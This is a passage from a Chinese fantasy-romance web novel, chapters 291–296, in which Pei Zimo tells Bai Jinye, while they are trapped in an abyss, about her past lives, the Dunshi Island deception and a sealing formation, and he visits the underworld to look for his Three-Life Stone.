听到声音,裴子墨这才回过神来,抬起手,迅速地擦了擦脸上的眼泪,别开脸,看向院子外面。 白锦夜皱了下眉,把水桶塞给左辞,“去打水。” “好嘞。”左辞赶紧拎着水桶走了。 等他走远了,白锦夜才走到裴子墨面前,蹲下来,看着她,“怎么了?” “没事。”裴子墨的声音还带着几丝哭意,她吸了口气,半响才道,“你看这两具骸骨,显然也是没有出路,才会死在这里,只是突然觉得……我这么做有点鲁莽了。” 白锦夜自然不信她这个说辞,他转头看了看石坟和骸骨,轻皱了下眉,才问,“你怎么知道是两具骸骨,万一石坟里不是一具骸骨呢?” 裴子墨微怔了下,“我只是随口一说。”说完又赶紧道,“我困了,你们快些收拾好,我想睡一会。” 白锦夜垂下眼,隔了会才道,“石屋有两间,其中一间里面,有些小孩子的东西,也许……” 裴子墨的手蓦地握紧了一下,“白锦夜,我真的累了。” “好。”白锦夜点点头,站起身。 便是快些收拾,也差不多忙了大半天,白锦夜把裴子墨送进房间,正要离开去找些吃的,却被裴子墨拉住手腕。 “怎么了?”白锦夜又转回身看着她。 “我们在这里,不知道还要呆多久,外面的石坟骸骨也不能就这样放着。”裴子墨微微拧起眉,“不管怎么说,也是借用了他们的地方,就把他们一起合葬在院子后面吧。” 第291章 这一生,就只剩下恨了 白锦夜沉默着看了会裴子墨,才点点头,“好,你睡吧。” 得到他的回答,裴子墨才放开手,闭上眼睛,血莲凝结晶露本身就会让她身体虚弱,这段时间也差不多都是强撑着,这会很快就沉沉地睡了过去。 裴子墨说的没错,石坟里确实只有一具骸骨。 白锦夜和左辞忙了半响,又从崖壁上敲下些石块,才终于把两具骸骨都葬了。 左辞看着这骸骨有些唏嘘,石坟里的骸骨看的出来是个女子,外面的是个男子,他叹了口气,忍不住开口,“王爷,你放心,咱们若是在这里出不去了,属下一定努力活着,给你和王妃送终,让你们俩能合葬一处,绝不会像眼前这处,坟里一个,坟外一个。” “你还会说点人话么?”白锦夜冷脸看他,“信不信我现在就给你埋了?” “这可真是属下的肺腑之言。”左辞认真地道,“而且……王爷,你说房子里明明有些小孩子的东西,但这里也没有小孩子的尸骨,你说那孩子是出去了么?” “算你说了句有用的。”白锦夜收回目光,转身往院子里走。 左辞的眼睛一亮,但随即又黯淡下来,“可是那孩子若是一早就走了,那怎么不回来接他的爹娘出去呢?要是他后来才出去,那也应该把他爹的尸骨安葬了再走啊。” 白锦夜没有说话,与其猜测,还不如等裴子墨醒了好好问问她。 只不过,裴子墨醒来之后,大部分时候,都是坐在院子里发呆,一开始白锦夜还试图问她点什么,可后来也就放弃了。 左辞每天乐此不彼的从河里抓鱼,这也是眼下唯一能吃的东西。 就这样差不多过了有十几天,大概裴子墨吃鱼吃腻了,才终于抬手指了指,“那里好像是个地窖。” 左辞赶紧过去扫开了地上的尘土,便真的见到了地窖的门,他拉开门,顺着台阶走下去,没一会便抱着一个坛子笑着跑上来,“天呐,王爷,王妃,好大的地窖,里面有很多粮食,还都新鲜着呢,还有酒,还有酒。” 最后一句话他一连重复了两遍,其他的都不重要,有酒真的让他瞬间开心。 他说着把坛子放在桌子上,拍开坛口,一阵浓郁的酒香扑鼻。 骸骨都已经白骨化,即便是地窖,也不可能把粮食保存这么久,显然是有人提前用术法保存。 左辞笑得嘴裂得老大,“王妃,你好厉害。” 裴子墨只是笑了笑,没有说话。 这一天,左辞拉着白锦夜喝了不少酒,最后抱着酒坛子醉醺醺的睡了过去。 白锦夜回房间的时候,也拿了一坛酒,看着坐在窗边发呆的裴子墨,开口道,“喝几杯么?” 裴子墨没说话,但也还是起身走到桌边坐下,接过了白锦夜手里的酒杯,先是轻轻抿了一口,随后便一饮而尽。 白锦夜重新给她倒满,也给自己倒了一杯酒,她没说什么话,他也就没再问,只是默默地喝酒,添酒。 喝完最后一杯,裴子墨有点意犹未尽的拿着空杯往嘴里倒了倒,只不过也什么都没有了,她抬眼看向白锦夜手里的最后一杯酒。 白锦夜见她贪杯,也就把最后一杯酒递给她。 裴子墨摇了摇头,“你喝吧。” 白锦夜这才把酒喝完,看着女人微红的脸颊,低声道,“睡吧。” 裴子墨没有动,只是问,“好喝么?” “嗯?”白锦夜看着她。 裴子墨便又耐着性子问了一遍,“这酒,好喝么?” “好喝。”白锦夜点点头,即便他喝过不少美酒,但是眼前这酒,入口甘醇,回味悠长,确实好喝。 裴子墨垂眼看着酒杯,唇角勾起一抹笑。 白锦夜看着她,没有说话,但他隐约觉得,裴子墨大概是打算跟他说什么了。 果然,半响后,裴子墨重新抬眼看他,“我酿的。” 白锦夜一下子就怔住了,这几天他不是没有猜测,他猜,也许那对夫妻真的有一个孩子,这孩子有什么机缘,从这里离开了,她也许不是不想接爹娘离开,可是她可能再没有办法回来。 他甚至猜,那个孩子,大概率就是裴子墨。 她被带走后,就成了北冥国圣女,所以这么多年,都没有办法再回来。 可她很小的时候,就在北冥国被当做圣女培养了,那么小的她,怎么可能会酿酒? 除非……白锦夜睫毛轻颤了下,除非……那石坟里的尸骨,是她,或者说,是她的前世。 裴子墨说完就站起来,抬手推开窗,向院子里面看去,眼里像是难得的带上一抹柔光,“什么琼华山天生地养的阵法,这就是封印那女人的大阵。你说那男人多傻啊,那女人被封印在这里无法离开,他就把东西一样一样的搬过来,陪着她。” “明知道不可能有孩子,还憧憬着若是将来有孩子会是什么模样。” “那女人被封印的时候,便已经受了伤,熬了十一年,熬到了尽头,可那男人就在这里守了好多个十一年,一个人,守着一座坟。” “是不是很痴情?”说着裴子墨转身看向白锦夜,“你说,是不是挺让人感动的?” 白锦夜皱着眉,半响才起身走到裴子墨的身边,“子墨……”她说她没有七情六欲,是真的没有,还是早就……给了别人? 她若是有前世的记忆,她是为了那男人在忘川里呆了千年么? “可是能感动谁呢?”裴子墨嗤笑一声,看着白锦夜的目光有些缥缈,像是透过他在看着另外一个人,“明明就是那男人亲手把她封印在这里,明明他知道,只要解开封印,她的伤就能恢复,她就不用死,也不用夜夜受着噬心焚骨之痛。” “可他终究还是没有解开封印,最后……”裴子墨说着轻笑了一声,“最后他忍不住她的哀求,亲手杀了她。人死了,就守着一座坟,还有什么意义呢?” “子墨。”白锦夜抬手抓住她的肩膀,“那都过去了。” “过去了?”裴子墨的目光重新聚焦在白锦夜的脸上,“过不去的,你不是她,不知道那痛入骨髓的滋味,但凡疼上一次,这一生,就只剩下恨了。” 第292章 现在禁制都解开了么? 裴子墨说着情绪也微微有些激动,她抬手抓住白锦夜的衣领,“白锦夜,你知道么?十一年啊,每天都像是被人把每一根骨头都打碎,再重重的用力的碾过那些碎骨,翻来覆去,痛到生生的掰断每一根指甲,痛到……好像连头发丝都是痛的,你知道那种滋味么?” “你……”白锦夜微微拧起眉,好半天才问,“你现在做的,都是因为这个么?” “呵。”裴子墨轻笑一声放开手,“为了儿女情长?值得我如此大费周章?”她说着顿了顿,“白锦夜,你想知道什么,这一次,我全都告诉你。” 白锦夜看着她,眸色复杂,隔了很久才说,“你想说什么便说,若是不想说,我也可以什么都不用知道。” 裴子墨侧过身,看着窗外,微微吸了口气,语气也逐渐平和起来,“这世上,有这世上的规矩,但你知道这些规矩都是谁定的么?有些事情像是口口相传,传了千百年,早就不知出处。” “但人人都知道,世人或是万物可以成仙。以前,术法大行于天下,所有人都苦心修炼,希望有一天能位列仙班。那时候诸如裴黎这样接近成仙的人,数不胜数。大家都知道,再需要那么一点点,就可以成仙,但是越是触手可及的东西,却反而越虚无缥缈。” “无数的人,都到了这个瓶颈,却摸不到门路。这样的日子,不知道过了多少年,突然有一天,有个叫遁世岛的地方,不断的被人提起,他们说,遁世岛上有成仙的秘笈。于是所有的人,都开始寻找这个叫遁世岛的地方,却一无所获。” “终于,像是大家的苦心得到了认可,遁世岛派出了一位使者,他说遁世岛有件事需要大家帮忙,无论谁能帮他们完成这件事,他们就会给他成仙的秘笈。多诱人啊,所有的人,都去做这件事,互相残杀,高手陨灭。” “最终,那个从厮杀中活下来完成这件事的人,被遁世岛使者带走,自此没了踪迹,人人都说他羽化成仙了。于是大家就更努力的修炼,等着每隔一些年,遁世岛使者出现,发布遁世岛任务,然后……为了那仅有的一个名额,继续残杀。” “其实真的要成仙么?”裴子墨转头看向白锦夜,“不需要,术法一途,没有极致,只要一直修炼,跳出三界,不在五行,和成仙又有什么分别?但是所有的人,就像是被迷了眼,都拘泥于遁世岛设定的游戏规则中。” “遁世岛不费一兵一卒,只需要带走最后存活下来的那个人,杀掉他,就完成每隔几百年的一次大清洗。直到术法一途式微,如今这世上,让遁世岛发布任务的人,都几乎没有了。遁世岛,也终于可以高枕无忧了。没有人能再试图打破他们的规则,也没有人有能力挑战他们的权威。” 裴子墨叹了口气,垂下眼,顿了会才继续道,“但是有一个人,她从来都没有想过要成仙,她修习术法,只是因为她喜欢的那个人在修习术法,她想要跟他在一起而已。有时候术法一途便是如此,越是执着于什么,越是得不到,可不想要的人,却好像轻而易举就可以得到。” “她也从不参与遁世岛任务,因为她知道名额只有一个,无论是她还是她心上人得到了,他们都要分开。她不参加,也不帮忙,只是在她喜欢的那个人遇到危险的时候,救他。后来她就被遁世岛注意到了,于是再之后的一次遁世岛任务,就是杀了她。” “你说,这个任务,是谁完成的?”裴子墨笑着看向白锦夜。 白锦夜拧着眉,抬手握住裴子墨的手。 “死了又有什么关系呢?入了轮回,还可以再投胎转世。她不恨他,她只是想问问他,成仙真的那么重要么?所以她跳进了忘川。”裴子墨微微咬了咬牙,“但是她没有找到成仙的他,只是找到了不知道已经转世几次的他。她终于明白遁世岛的骗局,他们都是在这骗局之下的可怜人。” “忘川千年,换一生再续前缘。她不想成仙了,可刻进脑子里的术法,如影随形,她无论如何隐匿,也还是露了马脚,再一次被遁世岛发现,追杀。那男子这一世倒是没有杀她,可也不愿跟她过着亡命天涯的生活、对抗根本不可能赢的敌人,抛下她一个人走了。” “这一次,再入地府,她不想再投胎了,就进了炼魂谷。进炼魂谷的魂魄,最终都会魂飞魄散。可倒是换那男子痴情了,他在她死后,日日良心难安,死后也进了忘川。他承受得住忘川之苦,缘分就得再续,那女子就被地府的人从炼魂谷里捞出来。” 裴子墨抬手捏着窗棂,“两世为人,她从不曾害人,可却受如此之苦,又何必做个好人?修仙要积德,那她就反其道行之,那一世她肆意而行,不知杀了多少人,造了多少孽。”她说着轻笑出声,“七杀斩便是那一世所炼,做个好人苦苦修行练不成仙器,祸乱苍生杀人如麻反倒成就这世上唯一一个仙器,你说可笑不可笑?” “凭着一柄七杀斩,这世上没人是她的对手。就连遁世岛的人,都杀了不少。后来遁世岛出动了很多人,在此处修了大阵。那男子亲自引着她来,压上了最后一道符咒。” “自此,她的魂魄被打上印迹,遁世岛的人找到能通阴阳的‘神冥公’一族,要他们一旦发现有这印迹的魂魄,就杀无赦。” “在那之后,那女子无数次转世,都活不过幼年。只不过他们没有想到过,炼魂谷那千年,让她的魂魄之力突飞猛进。于是这一次转世,她在她的魂魄上,设下层层禁制,盖住了那印迹,一起盖住的还有她的记忆、术法。” “她也早知道会这样,所以提前就安排好,到了什么时候,谁会出现,通过哪个词语、哪个动作、哪件事来帮她解封哪一层禁制。等禁制全都解开之时……”裴子墨说着顿了顿,没再往下说。 “所以现在是禁制都解开了么?”白锦夜轻抿薄唇,看着裴子墨问道。 第293章 跟我在一起,太苦了 “我说的这些,你都信么?”裴子墨突然抬眼看着白锦夜,语气都转变了几分,“不会像是我编出来的一个故事么?” 白锦夜摇了摇头。 裴子墨抬起手,看着自己掌心若隐若现的红线,轻轻叹了口气,“没有啊,禁制还没有完全解开呢。” “还差什么?”白锦夜下意识地问道。 裴子墨看向远处,目光变得悠长,“还差一个人。” “谁?”白锦夜问出口之后,脑海里就立刻浮现出一个人的身影,“鬼卿……鬼卿呢?你派他去做什么了?” 裴子墨倒是没想到白锦夜这时候提起鬼卿,她笑了笑,“是啊,还差鬼卿,也不知道要等他多久呢。” “那现在……你做这些,是为了什么?是为了反抗遁世岛么?”白锦夜又问。 裴子墨的目光微微有些茫然,隔了会,才摇了摇头,“我也不知道,不过……我的前世应该是知道了些什么,所以在这一次转世之前,仔仔细细的,一卦一卦算出来,什么时候会因为什么事遇到什么人,要做什么,都是早就定好了的,至于目的,我也不知道。”她说着又轻笑,“只有这样才最安全不是么?我自己都不知道,遁世岛就更不知道了。” “没有人发现我魂魄上的印迹,就不会有人告知遁世岛。我的实力达不到那条线,遁世岛也不会发现,那我计划的事情,就可以继续按部就班的进行下去。” “那凌幽呢?”这些天,这个问题才是最困扰白锦夜的,他不明白,为什么裴子墨要杀了凌幽。 裴子墨眯了眯眼,“凌幽在卦象里是一个变数,他应该是这世上最后一个能看到我魂魄印迹的人。遁世岛这一次已经近两千年没再出现了,所以我也不知道凌幽是不是还能和遁世岛有所联系。好在凌幽有软肋,凌珞也好,裴黎也好,有人能牵制住他。” 说着她笑了笑,“这就是这个世界唯一的漏洞,遁世岛和地府互不相干,遁世岛不能管魂魄的事,所以追踪被打了印迹的魂魄的事,只能交给‘神冥公’一族。也是因为这样,只要凌幽成了魂魄,就算彻底斩断了他和遁世岛的联系。” “那……”白锦夜沉默了会,才问道,“那个男人呢?此刻……他是不是也转世,也在这世上?” “嗯。”裴子墨收起嘴角的笑容,点头应了一声。 白锦夜顿了顿又问,“你打算去找他么?” 裴子墨没有出声,只是摇了摇头。 白锦夜吸了一口气,最后一个问题,终于还是问出了口,“你一直说你七情六欲被封住,你不喜欢我……到底是真的如此还是因为在你心里……”他问到这,蓦地想起前些日子裴子墨在院中哭泣的模样,后半句也不想再问了,甚至连答案都不想知道了。 “是我自己封印了自己的七情六欲,要等禁制全都解开之时,这一层封印才能解除。”裴子墨却还是回答了出来,顿了顿,她抬起手,轻轻摩挲着白锦夜的脸颊,“如今大大小小的秘密你也知道不少了,现在你口口声声说在意我,那将来,若是有极大的诱惑摆在你面前,你会和他一样,杀了我么?” 白锦夜抬手覆住她的手,“我跟你跳下来的时候,都是存了跟你一起死的心,还能有什么比活着更大的诱惑?” 裴子墨看着他,像是要看穿他的灵魂一般。 白锦夜被她看得不自然,“再说,你本就能控制我,我也说了,我就算冲破那控制,也需要时间,有这时间,你做什么都行了。” 良久,裴子墨突然笑开,“白锦夜,你真好骗。” “什么?”白锦夜不解。 “什么遁世岛,什么转世几次被心爱之人杀死,这世上哪有这么狗血的事?我不过就是看到那石坟枯骨编出来骗你的。”裴子墨笑得前仰后合,都快站不稳了,借着酒劲靠进白锦夜的怀里,笑够了才道,“白锦夜,你太好骗了,你会吃亏的。” 白锦夜轻轻抱住她,她说的话几分真几分假,对他来说并没有那么重要,“在你身上,吃多少亏,我都心甘情愿。” 裴子墨的身体微微僵了一下,收起笑容,低声道,“白锦夜,我好像醉了,头晕得很。” “头晕还能编出这样的故事?”白锦夜轻笑,他说着顺着她披在肩上的发丝,“子墨,我不信你会做伤天害理之事,更不信什么杀了多少人造了多少孽的话。” “你不懂。”裴子墨闭上眼睛,“我让他杀了我,结束那些痛苦,他要我答应他,不得再伤一人,哪怕有人作恶,也自有天收。我若不是答应了他,我初到王府之时,你那王府早就血流成河了。他让我若是再转世为人,就一定要积德行善,我才在盛京摆摊,替人分忧,我才不忍看着月城城破,百姓受苦。” “我答应了他的……我这一世,真的没想伤任何人。你府上的高嬷嬷,她做了那么多伤天害理之事,是她娘要带她走,我拉了沈易安的魂魄出来,但是也没想着亲手杀他,是他说了不该说的话,魂魄自燃。裴玲珑啊,我本想着地府走一遭就把她的魂魄送回去,还有凌幽……” 裴子墨的声音顿了顿,继而哽咽,“我还是没能做到,我答应了他的,还是没做到。” 白锦夜拧着眉,感觉有湿气在肩头氤氲开,丝丝细细的疼痛从心底蔓延开,喉结微微滚动了下,他抬手把女人横抱起来,“不早了,该睡了。” 裴子墨抬手掩面,遮去泪痕,没有说话。 “为了那样一个男人,不值得。”白锦夜的脸上浮现一丝怒气,“他杀你弃你……” “可他偏偏没有啊。”掌心下,裴子墨的声音轻颤,“他带着我一路逃,躲着所有人的追杀,我们两个都受了伤,再拖下去,只有死路一条。反正总要有一个人完成任务成仙,何必便宜别人?是我设计让他杀了我,我想起码他可以成仙,我只要再等一等,下一次成仙不就好了?” “第二世,他为了护我,身受重伤,不愿意拖累我,自尽而亡。” “是我,我在炼魂谷千年,转世后神智混沌,不分善恶,滥杀无辜,他与我同入封印之下,与我同受折磨,所受之痛,丝毫不轻于我,那时的我满心都是恨,我说只要我死后他继续在这封印下受苦百年,我就答应他不再滥杀伤人。” “我受过忘川之苦,忍过炼魂谷之刑,可在这里十一年我便忍受不住,又怎么会有人能熬过百年?可他答应了我,也做到了,那这剩余的百年他一个人又是如何熬下来?” “他跟我在一起,太苦了。” 第294章 你看过自己的三生石么? 白锦夜的脚步顿了顿,才继续走向床边,他把裴子墨放在床上,自己坐在床边,半响才道,“我知道了。” 裴子墨没有说话。 又过了会,白锦夜才低声道,“若是将来你得偿所愿,那男人也在你身边,我……离开便是。” 裴子墨依旧没有说话。 “但眼下,我便信你所说,这些……”白锦夜抬眼看向窗外,“这些都是你看到那石坟枯骨编出来的故事。” 他说完,轻轻叹了口气,脱掉外衣,躺在床上,把裴子墨抱进怀里,“别哭了,嗯?你哭得我心里难受,都快喘不过气了。” 裴子墨这一次终于抬起眼看他。 白锦夜轻轻擦掉她脸上的泪,终于还是忍不住,抬起她的下巴,凑过头吻了上去。 * 左辞不明白了,这地方是有点邪性么? 怎么先是王妃发了好几天呆,这会王妃好了,又换王爷发呆了? “王爷,王爷!”左辞提高声音唤了几声,白锦夜才回过神来。 “怎么了?”他抬眼看向左辞,“这么大声做什么?我又不聋。” “你是不聋,只是听不见而已。”左辞嘟囔了一声,才又问,“王爷,你怎么了?在这发什么呆?” 白锦夜沉默了会,下意识地抬手摸了摸自己的嘴唇,昨晚……他吻过去的时候,本以为裴子墨会抗拒,可她也没有,反倒抱住了他。 他甚至尝到了她嘴角又苦又涩的泪。 他知道那个时候不该,但又控制不住自己。 一直到他真的快要无法呼吸,再继续下去就要有更控制不住的事情发生的时候,才停了下来。 而裴子墨一反常态,既没恼,也没骂,更没推开他。 有那么一瞬,他甚至觉得,就算他继续,裴子墨也不会拒绝。 可是……想到他刚刚的承诺,若是……那个男子真的出现,他注定要离开呢? 白锦夜没有动作左辞还没注意,但是看着他摸自己的嘴,左辞也就认真地看了看,隔了会有些惊讶地道,“王爷,你这嘴唇怎么了?好像有点肿呢,咱们这吃食也没有辣的,嘴唇怎么会肿呢?” 闻言,白锦夜有些恼怒地站起来,果然左辞活该单身,他转身就要往房间走。 看着他的背影,左辞觉得莫名其妙,但还是开口道,“王爷,属下是想提醒你,王妃出去好半天了,要不要去看看啊?” 白锦夜已经走到门口的脚步停了下来,转头瞪着左辞,“不早说。” “我……”左辞委屈,他其实已经小声念叨好几遍了,明明是白锦夜发呆出神,什么都没听见。 “往哪边去了?”白锦夜一边往院门口走一边问。 “石坟那边。”左辞赶紧道,随后又补充,“王爷,那属下就不跟你去碍着你和王妃了,在这等着你们哈。” “你最好找到路赶紧离开,才是真的不碍事。”白锦夜哼了一声,继续往前走。 左辞挠了挠头,跟着一起跳下来,终究是错付了。 白锦夜走到石坟,便见裴子墨盘膝坐在坟前,手撑着腮,看着石坟发呆。他脚步微微顿了顿,才走过去在她身边坐下,“昨天在院子里发呆,今天又坐在这发呆?” 裴子墨转头看他,“我看你在院子里发呆,就没有打扰你。” 白锦夜轻咳了一声,清了清嗓子,隔了会才问,“其实你应该知道怎么从这里出去吧?我们来到这,你就知道如果裴黎不对你下杀手,便会把你打下深渊,那就一定是有退路的。” “在这里不好么?”裴子墨开口问道。 白锦夜没说话。 “自我们相识开始,也没有几天消停日子,在这里的这段日子,应该也是未来很长一段时间里,最安稳的时候了。”裴子墨收回目光,继续看向石坟。 沉默了会,白锦夜才道,“我只是怕你……在这里太难受。” “好多了。”裴子墨说着低声笑了笑,“其实在这里,每日还有六个时辰,阵法没有发动的时候,倒也还好。我们能坐在院子里下下棋,互相搀扶着一起晒晒太阳……”顿了顿,她才又道,“那时候这不是在深渊之中,而是在山顶。” “我们曾说过,等一切事了,就找一处无人的地方,隐居避世。他初带我到这里之时,说将来我们便在这里度过余生,只是没说,是以这样的方式。” “过了这么久,沧海桑田,曾经的山巅成了深渊。”她抬头向上看了看,“也或者是他死前,将此处沉于地底。只不过……‘神冥公’后人抢夺华精玉之时,震开了阵法,才让此处重现于世。” “我算过,杀了凌幽之后,生机便在这深渊之下,只是没想到……” 裴子墨轻声笑了笑,没再说下去。 白锦夜自然知道,这里于裴子墨来说,不只是有痛苦的回忆。 若每时每刻都在煎熬之中,也不会做出那么多小孩子的玩意儿。 是夜,睡觉之时,白锦夜坐在桌边的石椅上,看着裴子墨却迟迟未动。 裴子墨都快睡着了,也不见白锦夜动,只能出声询问。 白锦夜拧着眉,话到嘴边,可别扭着也说不出来,他只要想到前世,裴子墨在这里和另外一个男子相互扶持,恩爱生活,这里的一桌一椅一草一木都是另外一个男子为裴子墨添置,他心里就堵得慌。 甚至想到那酒也分明是裴子墨为别人所酿,他喝到嘴里,也就只剩下苦涩。 半响,他只能闷声道,“我不困。” 裴子墨看着他淡笑。 白锦夜被她看得不自在,便别开了脸,看向别处,“子墨,我在这里呆着……不舒服。” “你过来。”裴子墨低声道。 白锦夜挣扎了好半天,才走过去,他动作极慢,又完全不想碰触床铺,但走到床边,还是被裴子墨拉了过去。 虽说已经在这里睡了十几天,可是他从没有一刻觉得这床被褥简直就像铺满了钢针,扎得他全身都疼。 裴子墨看着他,“你去了那么多次地府,看过你自己的三生石么?” 第295章 你是什么时候想起来这些的 白锦夜被问得一怔,他确实去了很多次,但是那时候每一次都是为了找裴子墨,从来都没有想过去看自己的三生石。 他那会哪想着什么前几世,只想着这一世跟她在一起。 “我……没有。”白锦夜说着像是想到了什么,一下子抓住裴子墨的手,“那个男人……是不是就是我?”他握着她的手,放在自己的胸口,他感觉到自己的心都激动得快要跳出胸腔,“是不是就是我?” 裴子墨垂眼看着自己被他抓在手心的手,沉默了片刻才说,“我只是想要告诉你,在你的前世,再前一世,甚至于每一世,也一样有女子在你身边,她心悦你,你也真心待她,你们生儿育女,白首偕老,普通平凡,但也是恩爱一生。” 白锦夜眼里的激动瞬间沉寂,他放开手,翻身背对着裴子墨,声音更加沉闷,“是啊,普普通通,平平凡凡,没有谁为谁在忘川里呆过千年,更没什么刻骨铭心的回忆,比不上你们……感天动地。” 裴子墨轻笑一声,“你不是说了,当我讲的是个故事么?” “嗯。”白锦夜有些敷衍地应了一声,“我困了,睡觉吧。” 裴子墨果然也没有再说话,闭上眼睛睡了。 白锦夜转头看了她一眼,心里更气,但闭上眼睛,又被裴子墨的话勾的心里痒,当场便去找自己的三生石了。 之前带着裴玲珑去过一次,这次就是轻车熟路,可找来找去,在他面前的,就只有一堆碎石。 他又转回了奈何桥,找孟婆询问。 孟婆专心地舀汤,闻言也不诧异,“碎了?那便是碎了。” “那该怎么办?”白锦夜又问。 “怎么办?”孟婆轻笑了一声,“前些日子,你们不也弄碎了别人的三生石么?怎么,许你们打碎别人的三生石,就不许别人打碎你的三生石了?” 白锦夜想到裴玲珑那块碎了的三生石,不由哑然,半响才问,“那我如何能得知是谁打碎了我的三生石,又是为什么?” “这个问题,我回答不了你。不过若是没有本人做路引,其他人是找不到别人的三生石的,所以打碎三生石的时候,你一定是在场的,那问题的答案就在你自己身上。”孟婆继续道。 “我也在场……”白锦夜轻声念叨了一遍。 “何必纠结于前世?”孟婆看了他一眼,“上一次你毫不犹豫地跳了忘川,这一世不也该是找到心爱之人了么?再想起前世,置今世于何地?” 闻言,白锦夜一怔,在原地愣了半响,才感激地看向孟婆,对她抱拳施了一礼,转身迅速的往外走。 等白锦夜的身影都消失了,孟婆的手才微微顿住,看着勺子里的汤,低声道,“你托我诱他喝下孟婆汤,再见你时,要把你推下忘川,等他问起三生石之事,加以隐瞒。这三件事,全都做了,承你的情,如今便算还完了。”她说着看向远处,目光有些缥缈,“已经到了这一步,该是离成功不远了吧,我可不想再见你俩往忘川里跳了。” 说完她轻声笑了笑,把勺子里的汤倒给下一个魂魄,“喝吧喝吧,喝了老婆子的汤,忘却前生事,莫受前世所累,真的是为你们好哟。” * 白锦夜醒来时,便似乎已经全然忘了裴子墨跟他讲过的事。 甚至询问了一番之后,翻出了围棋,每日和裴子墨一起下下棋,偶尔也向裴子墨讨教些术法之事。 这一次裴子墨也没有再说术法不能外传之类的话,甚至带上了左辞,一起指点。 白锦夜总该以为自己要比左辞强些,可没想到学了几天下来,裴子墨便开始夸左辞天赋高,是个学术法的奇才,连他都不怎么教了,每日专心教左辞,眼见着他倒是成了多余的那个。 以往他觉得左辞是有些眼力见的,可如今,不管他怎么瞪左辞,左辞就是不为所动,甚至于对裴子墨的称呼都变了,再也不叫王妃,一口一个师父叫得亲热。 他听着真是刺耳极了。 终于找了个裴子墨让左辞自己去练习一会的空档,白锦夜迅速的摆上了棋盘,拉着裴子墨下棋。 裴子墨看着他微微勾唇,“以前倒是没看出来,左辞还有这样的天赋,不过这样也挺好,以后他也算多了些自保的能力。” “你就不打算多教教我么?”白锦夜开口问道。 裴子墨笑了笑,没回答这个问题,倒是反问道,“这几日,你倒是想开不少。” 白锦夜垂眼看着棋盘,“是啊,前几世若是只有你们两个,势单力薄,那起码这一世多了一个我,多一个人保护你,不是更好么?” 裴子墨笑而不语。 “不过这一点,你大概早就想到了。”白锦夜继续道,“鬼卿、袁澈、楚星玄这些,都是你算好的,也都能帮上你的忙。” “确实。”裴子墨点点头,“不过若是到最后能指望的,也并不是他们。” 白锦夜微微眯了下眼,才道,“所以……九星灭仙阵是你设置的,是你把他们的魂魄带着裴黎的魂魄一起封印,这样他们既不会被遁世岛盯上,也不会被地府带走,等需要的时候,就放他们出来。” “你看我长得,是不是很像裴黎的师叔?”裴子墨笑着问道。 “是伪装么?”白锦夜之前便觉得从三生石上看到的身影像是女子,但他想了想,又摇了摇头,“可我感觉不是你。” 裴子墨笑了笑,“嗯,我不是裴黎的师叔,但她师叔确实也是受我所托。我那时被盯得太紧了,可那一次很重要,我算到此后‘十一公’的血脉势必衰败,就算没有我要求她师叔这样做,结局也不可避免。” “若是等那一代的‘十一公’全都入了地府,将来想要再找这样的人,就很难了。但是我也查了很多古籍,想要把他们十二个人全都留下来几乎不可能,唯一能用的,就是九星灭仙阵。” 她说着轻声顿了下,“好在也没出什么大的纰漏。” “那你……”白锦夜想了想才问,“你是什么时候想起这些事的?” 第296章 哪些是因?哪些是果? 裴子墨垂眼看着棋局,“从忘川出来之后。” “忘川……”白锦夜轻声重复了一遍,又想起了什么,朝裴子墨确认道,“孟婆是故意把你推下去的?” 裴子墨没有回答,“只不过暂时也就只能想起这么多了。”顿了顿,她又道,“其实本来也不该跟你说,大概只是因为到了这里,一时之间有点感慨了。” “是啊。”白锦夜有些无奈地笑了笑,“从忘川出来这么多天,也没见你有任何异常。若不是到了这里,你应该也能继续瞒下去。”说到这,他轻轻皱了下眉,“之前不是猜测萧家是裴黎师叔的后人么?那他为什么要伤害自己的后人?” 裴子墨摇了摇头,“萧家并不是他的后人。”她说着轻轻叹了一口气,“他与萧家之仇,不共戴天。当年他被镇压在后山禁地,母亲因此而死,但是他的姐姐尚在人世。” “他姐姐也会偷偷去后山探望他,那时‘十一公’之中,只有‘神目公’是女子,所以和圣女之间的关系颇近。有一次便是‘神目公’撞见了他姐姐探望他,并且把这件事公之于众,并且……提议为了斩草除根,杀了他姐姐。” “那时其实是‘神目公’遇见了将来这些人会被裴黎的师叔所杀,所以才会有这样的提议。他们姐弟苦苦求情,甚至愿意废弃一身术法成为普通人,又或者可以把他们两个人都镇压在后山,只希望众人能放他们姐弟一条生路。” “可是能看到未来的‘神目公’又怎么会同意?他姐姐死了,他也只剩下一口气。不过他姐姐死前,用了瞒天过海的术法,骗了其他人,保了他一条命。” “但‘神目公’心里还是放不下,这才和其他人一起,用大阵阵住了他和他姐姐的尸体。纵是他没死,每日看着姐姐的尸骨就在旁边,心里怎么会不怨恨?” 裴子墨说着微微眯了眯眼,“后来‘神目公’知道他没死时已经来不及了,然而这一切又分明是他们一手造成。”她轻笑了一声,“哪些是因?哪些是果?‘神目公’一族能看到的未来,不过都是一些片段,这些片段因何而起,他们却根本不知道,他们自以为看到未来,就能阻止悲剧发生,殊不知却正是因为他们才有这样的结果。” “萧玲珑他们找上裴黎师叔的时候,就已经输了。” “那他为什么这么多年都没有找萧家,而是一直等到现在?”白锦夜又问。 “他心里怨气太重,就像我之前一样,当时若是不加以控制,恐怕‘十一公’后人再加圣女一脉没有一个人能活下来。”裴子墨说着顿了顿,“我答应他照顾他姐姐的魂魄,所以完成九星灭仙阵以后,他便把自己也封印住了。九星灭仙阵破了的时候,他的封印跟着一起解开,不过他当年也答应了我,只向‘神目公’一脉寻仇,不会殃及他人。” 白锦夜也轻轻叹了口气,多少有些唏嘘,且不说‘神目公’一脉,这世上又有多少人都是遭殃在自作聪明之下? 沉默了片刻,裴子墨这才抬眼认真地看着白锦夜,“等我们从这里离开的时候,你就要把这些全都忘掉了。” 白锦夜自己自然是不可能把这些都忘掉的,显然是裴子墨要帮他忘记,他神色一变,赶紧拒绝,“我不想忘记,我不会跟任何人提起,也不会告诉任何人。”他说着垂下眼,“就像你说的,这段时间,我们难得过得安定,我不想忘记。” 以往裴子墨总是跟他保持距离,最近他们难得相处融洽,又带着几丝温馨,他怎么可能舍得忘记? 裴子墨拿起一粒棋子,在手里把玩了半响,才慢慢地放到棋盘上,隔了好半天才开口道,“我不想这件事出什么纰漏。”顿了顿又补充,“而且若是有什么意外,那不只是我,所有帮过我的人,都会有危险,那么……就不可能再有任何的机会了。” “你信不过我么?”白锦夜开口问道。 “不是信不信得过的问题。”裴子墨摇了摇头,“确实是多一个人知道,就多一分危险。” “可你还是跟我说了。”白锦夜微微抿了抿唇。 